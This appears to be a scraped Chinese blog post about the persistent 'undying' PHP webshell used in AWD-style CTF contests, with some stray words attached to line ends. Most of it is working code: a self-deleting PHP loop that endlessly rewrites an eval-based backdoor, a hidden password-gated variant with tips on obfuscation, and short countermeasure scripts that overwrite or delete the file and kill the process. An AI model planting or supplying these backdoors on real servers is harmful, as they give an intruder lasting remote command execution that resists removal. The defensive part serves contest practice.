借鑑文章php
不死馬經常使用於AWD模式,用於權限維持,首先上傳一個不死馬,而後訪問該頁面,就會執行不死馬,它會以進程的形式運行,不斷的生成文件,即便被發現也不容易被刪掉,同時注意上傳的目錄是否有權限shell
不死馬bash
<?php set_time_limit(0); //PHP腳本限制了執行時間,set_time_limit(0)設置一個腳本的執行時間爲無限長 ignore_user_abort(1); //ignore_user_abort若是設置爲 TRUE,則忽略與用戶的斷開,腳本將繼續運行。 unlink(__FILE__); //刪除自身 while(1) {
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //建立shell.php sleep(0); //間隔時間 } ?>
上傳以後,訪問該頁面,就會不斷生成shell.php,咱們就直接能夠利用shell.php服務器
同時爲了防止被其餘人利用,能夠進行修改,用md5驗證,或者其餘利用方法驗證,只要不讓其餘人搭順風車就能夠,在文件前面加個點在Linux系統中變成隱藏文件,以用來隱蔽本身,固然也能夠用其餘編碼或者其餘方法來混淆代碼,讓其餘人看不出來或沒法直接利用編碼
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.shell.php'; $code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>'; while (1){ file_put_contents($file,$code); usleep(5000); } ?>
這樣就能夠直接利用URL傳參.shell.php?passwd=passwd&cmd=你要執行的命令; 或者利用菜刀spa
被中了不死馬怎麼辦,最簡單的是重啓服務器,而後刪掉木馬文件,但大多比賽沒法重啓服務的權限,不過能夠經過不斷向木馬文件複寫來剋制,前提是寫入速度要大於不死馬的生成速度.net
<?php set_time_limit(0); ignore_user_abort(true); unlink(__FILE__); while(1) { file_put_contents('./shell.php','11111'); usleep(0); } ?>
也能夠用bash不斷的刪除文件code
#!/bin/bash while : ;do rm -rf .shell.php; done;
或者不斷的刪除程序和殺進程blog
<?php while (1) { $pid=xxx; @unlink('shell.php'); exec('kill -9 $pid'); } ?>